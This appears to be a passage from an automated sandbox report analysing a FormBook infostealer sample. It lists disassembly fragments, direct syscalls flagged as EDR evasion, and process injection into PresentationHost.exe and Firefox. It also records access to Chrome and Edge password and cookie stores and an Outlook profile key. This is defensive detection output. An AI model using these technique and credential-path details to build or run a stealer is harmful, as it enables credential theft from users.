            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A83B80 mov eax, dword ptr fs:[00000030h]8_2_33A83B80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A83B80 mov eax, dword ptr fs:[00000030h]8_2_33A83B80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A83B80 mov eax, dword ptr fs:[00000030h]8_2_33A83B80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6FB97 mov eax, dword ptr fs:[00000030h]8_2_33A6FB97
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDBA0 mov eax, dword ptr fs:[00000030h]8_2_339DDBA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDBA0 mov eax, dword ptr fs:[00000030h]8_2_339DDBA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDBA0 mov eax, dword ptr fs:[00000030h]8_2_339DDBA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDBA0 mov eax, dword ptr fs:[00000030h]8_2_339DDBA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDBA0 mov eax, dword ptr fs:[00000030h]8_2_339DDBA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDBA0 mov eax, dword ptr fs:[00000030h]8_2_339DDBA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3BD6 mov eax, dword ptr fs:[00000030h]8_2_339C3BD6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3BD6 mov eax, dword ptr fs:[00000030h]8_2_339C3BD6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3BD6 mov eax, dword ptr fs:[00000030h]8_2_339C3BD6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3BD6 mov eax, dword ptr fs:[00000030h]8_2_339C3BD6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C3BD6 mov eax, dword ptr fs:[00000030h]8_2_339C3BD6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6FBF3 mov eax, dword ptr fs:[00000030h]8_2_33A6FBF3
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A7BCD mov eax, dword ptr fs:[00000030h]8_2_339A7BCD
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A7BCD mov ecx, dword ptr fs:[00000030h]8_2_339A7BCD
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B9BC4 mov eax, dword ptr fs:[00000030h]8_2_339B9BC4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F1BEF mov eax, dword ptr fs:[00000030h]8_2_339F1BEF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F1BEF mov eax, dword ptr fs:[00000030h]8_2_339F1BEF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3FBDC mov eax, dword ptr fs:[00000030h]8_2_33A3FBDC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3FBDC mov eax, dword ptr fs:[00000030h]8_2_33A3FBDC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3FBDC mov eax, dword ptr fs:[00000030h]8_2_33A3FBDC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDB00 mov eax, dword ptr fs:[00000030h]8_2_339DDB00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDB00 mov eax, dword ptr fs:[00000030h]8_2_339DDB00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDB00 mov eax, dword ptr fs:[00000030h]8_2_339DDB00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDB00 mov eax, dword ptr fs:[00000030h]8_2_339DDB00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDB00 mov eax, dword ptr fs:[00000030h]8_2_339DDB00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDB00 mov edx, dword ptr fs:[00000030h]8_2_339DDB00
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1B04 mov eax, dword ptr fs:[00000030h]8_2_339B1B04
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1B04 mov eax, dword ptr fs:[00000030h]8_2_339B1B04
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6FB0C mov eax, dword ptr fs:[00000030h]8_2_33A6FB0C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9B28 mov eax, dword ptr fs:[00000030h]8_2_339E9B28
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E9B28 mov eax, dword ptr fs:[00000030h]8_2_339E9B28
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A83B10 mov eax, dword ptr fs:[00000030h]8_2_33A83B10
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A53B60 mov eax, dword ptr fs:[00000030h]8_2_33A53B60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A53B60 mov eax, dword ptr fs:[00000030h]8_2_33A53B60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A53B60 mov eax, dword ptr fs:[00000030h]8_2_33A53B60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A53B60 mov eax, dword ptr fs:[00000030h]8_2_33A53B60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A53B60 mov eax, dword ptr fs:[00000030h]8_2_33A53B60
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AFB4C mov edi, dword ptr fs:[00000030h]8_2_339AFB4C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A45B50 mov eax, dword ptr fs:[00000030h]8_2_33A45B50
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A45B50 mov eax, dword ptr fs:[00000030h]8_2_33A45B50
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A61AA3 mov eax, dword ptr fs:[00000030h]8_2_33A61AA3
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A61AA3 mov eax, dword ptr fs:[00000030h]8_2_33A61AA3
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A61AA3 mov eax, dword ptr fs:[00000030h]8_2_33A61AA3
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5DAAC mov ecx, dword ptr fs:[00000030h]8_2_33A5DAAC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5DAAC mov ecx, dword ptr fs:[00000030h]8_2_33A5DAAC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5DAAC mov eax, dword ptr fs:[00000030h]8_2_33A5DAAC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A7A80 mov eax, dword ptr fs:[00000030h]8_2_339A7A80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A7A80 mov eax, dword ptr fs:[00000030h]8_2_339A7A80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A7A80 mov eax, dword ptr fs:[00000030h]8_2_339A7A80
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6FA87 mov eax, dword ptr fs:[00000030h]8_2_33A6FA87
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDAAE mov eax, dword ptr fs:[00000030h]8_2_339DDAAE
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBAA0 mov eax, dword ptr fs:[00000030h]8_2_339BBAA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBAA0 mov eax, dword ptr fs:[00000030h]8_2_339BBAA0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AFAA4 mov ecx, dword ptr fs:[00000030h]8_2_339AFAA4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DBADA mov eax, dword ptr fs:[00000030h]8_2_339DBADA
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A31ACB mov eax, dword ptr fs:[00000030h]8_2_33A31ACB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A31ACB mov ecx, dword ptr fs:[00000030h]8_2_33A31ACB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A45AD0 mov eax, dword ptr fs:[00000030h]8_2_33A45AD0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339ABAE0 mov eax, dword ptr fs:[00000030h]8_2_339ABAE0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D9A18 mov ecx, dword ptr fs:[00000030h]8_2_339D9A18
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339ABA10 mov eax, dword ptr fs:[00000030h]8_2_339ABA10
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E5A01 mov eax, dword ptr fs:[00000030h]8_2_339E5A01
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E5A01 mov ecx, dword ptr fs:[00000030h]8_2_339E5A01
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E5A01 mov eax, dword ptr fs:[00000030h]8_2_339E5A01
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E5A01 mov eax, dword ptr fs:[00000030h]8_2_339E5A01
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6FA02 mov eax, dword ptr fs:[00000030h]8_2_33A6FA02
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBA30 mov eax, dword ptr fs:[00000030h]8_2_339BBA30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBA30 mov ecx, dword ptr fs:[00000030h]8_2_339BBA30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBA30 mov eax, dword ptr fs:[00000030h]8_2_339BBA30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBA30 mov eax, dword ptr fs:[00000030h]8_2_339BBA30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBA30 mov eax, dword ptr fs:[00000030h]8_2_339BBA30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339BBA30 mov eax, dword ptr fs:[00000030h]8_2_339BBA30
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5BA0B mov eax, dword ptr fs:[00000030h]8_2_33A5BA0B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5BA0B mov eax, dword ptr fs:[00000030h]8_2_33A5BA0B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5BA0B mov eax, dword ptr fs:[00000030h]8_2_33A5BA0B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5BA0B mov eax, dword ptr fs:[00000030h]8_2_33A5BA0B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A57A11 mov edi, dword ptr fs:[00000030h]8_2_33A57A11
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDA20 mov eax, dword ptr fs:[00000030h]8_2_339DDA20
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DDA20 mov eax, dword ptr fs:[00000030h]8_2_339DDA20
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2DA1D mov eax, dword ptr fs:[00000030h]8_2_33A2DA1D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9A40 mov ecx, dword ptr fs:[00000030h]8_2_339A9A40
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43A78 mov eax, dword ptr fs:[00000030h]8_2_33A43A78
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43A78 mov eax, dword ptr fs:[00000030h]8_2_33A43A78
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43A78 mov eax, dword ptr fs:[00000030h]8_2_33A43A78
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43A78 mov eax, dword ptr fs:[00000030h]8_2_33A43A78
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43A78 mov eax, dword ptr fs:[00000030h]8_2_33A43A78
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43A78 mov eax, dword ptr fs:[00000030h]8_2_33A43A78
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB991 mov eax, dword ptr fs:[00000030h]8_2_339AB991
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB991 mov eax, dword ptr fs:[00000030h]8_2_339AB991
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C5990 mov eax, dword ptr fs:[00000030h]8_2_339C5990
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C5990 mov eax, dword ptr fs:[00000030h]8_2_339C5990
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C5990 mov eax, dword ptr fs:[00000030h]8_2_339C5990
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C5990 mov eax, dword ptr fs:[00000030h]8_2_339C5990
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C5990 mov ecx, dword ptr fs:[00000030h]8_2_339C5990
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A879BC mov eax, dword ptr fs:[00000030h]8_2_33A879BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A879BC mov ecx, dword ptr fs:[00000030h]8_2_33A879BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A879BC mov eax, dword ptr fs:[00000030h]8_2_33A879BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A39983 mov eax, dword ptr fs:[00000030h]8_2_33A39983
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6598D mov eax, dword ptr fs:[00000030h]8_2_33A6598D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6598D mov eax, dword ptr fs:[00000030h]8_2_33A6598D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6598D mov eax, dword ptr fs:[00000030h]8_2_33A6598D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F99B mov eax, dword ptr fs:[00000030h]8_2_33A5F99B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5F99B mov eax, dword ptr fs:[00000030h]8_2_33A5F99B

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtSetInformationThread: Direct from: 0x77D263F9Jump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtQueryInformationToken: Direct from: 0x77D32CACJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtCreateFile: Direct from: 0x77D32FECJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtOpenFile: Direct from: 0x77D32DCCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtSetInformationProcess: Direct from: 0x77D32C5CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtProtectVirtualMemory: Direct from: 0x77D32F9CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtOpenKeyEx: Direct from: 0x77D32B9CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtResumeThread: Direct from: 0x77D336ACJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtMapViewOfSection: Direct from: 0x77D32D1CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtWriteVirtualMemory: Direct from: 0x77D32E3CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtUnmapViewOfSection: Direct from: 0x77D32D3CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtCreateMutant: Direct from: 0x77D335CCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtNotifyChangeKey: Direct from: 0x77D33C2CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtQuerySystemInformation: Direct from: 0x77D32DFCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtReadFile: Direct from: 0x77D32ADCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtAllocateVirtualMemory: Direct from: 0x77D32BFCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtCreateUserProcess: Direct from: 0x77D3371CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtQueryInformationProcess: Direct from: 0x77D32C26Jump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtResumeThread: Direct from: 0x77D32FBCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtDelayExecution: Direct from: 0x77D32DDCJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtQueryAttributesFile: Direct from: 0x77D32E6CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtSetInformationThread: Direct from: 0x77D32B4CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtCreateKey: Direct from: 0x77D32C6CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtReadVirtualMemory: Direct from: 0x77D32E8CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtClose: Direct from: 0x77D32B6C
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtAllocateVirtualMemory: Direct from: 0x77D33C9CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtWriteVirtualMemory: Direct from: 0x77D3490CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtOpenSection: Direct from: 0x77D32E0CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtQueryVolumeInformationFile: Direct from: 0x77D32F2CJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtTerminateThread: Direct from: 0x77D27B2EJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtAllocateVirtualMemory: Direct from: 0x77D348ECJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtAllocateVirtualMemory: Direct from: 0x77D32BECJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtDeviceIoControlFile: Direct from: 0x77D32AECJump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeNtQuerySystemInformation: Direct from: 0x77D348CCJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: NULL target: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exe protection: execute and read and writeJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeSection loaded: NULL target: C:\Windows\SysWOW64\PresentationHost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: NULL target: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: NULL target: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\PresentationHost.exeThread register set: target process: 2400Jump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeProcess created: C:\Users\user\Desktop\mF8WNclxnv.exe "C:\Users\user\Desktop\mF8WNclxnv.exe"Jump to behavior
            Source: C:\Program Files (x86)\NstZKonQwHYKhhiOvPvNYHbFrfrAEoZxgSnOJHBqALaXmsrSuGwzsStknKXvhYDB\Kf2uv5NZsp.exeProcess created: C:\Windows\SysWOW64\PresentationHost.exe "C:\Windows\SysWOW64\PresentationHost.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: Kf2uv5NZsp.exe, 0000000B.00000000.2196931404.00000000019C0000.00000002.00000001.00040000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000002.3426046508.00000000019C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
            Source: Kf2uv5NZsp.exe, 0000000B.00000000.2196931404.00000000019C0000.00000002.00000001.00040000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000002.3426046508.00000000019C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: Kf2uv5NZsp.exe, 0000000B.00000000.2196931404.00000000019C0000.00000002.00000001.00040000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000002.3426046508.00000000019C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: Kf2uv5NZsp.exe, 0000000B.00000000.2196931404.00000000019C0000.00000002.00000001.00040000.00000000.sdmp, Kf2uv5NZsp.exe, 0000000B.00000002.3426046508.00000000019C1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_004061A0 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,0_2_004061A0

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 00000008.00000002.2314642445.0000000033860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3430583789.0000000007B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3424813910.0000000002F60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3426199689.0000000004CC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2315053520.0000000035AD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\PresentationHost.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior

            Remote Access Functionality

            barindex
            Yara detected FormBook
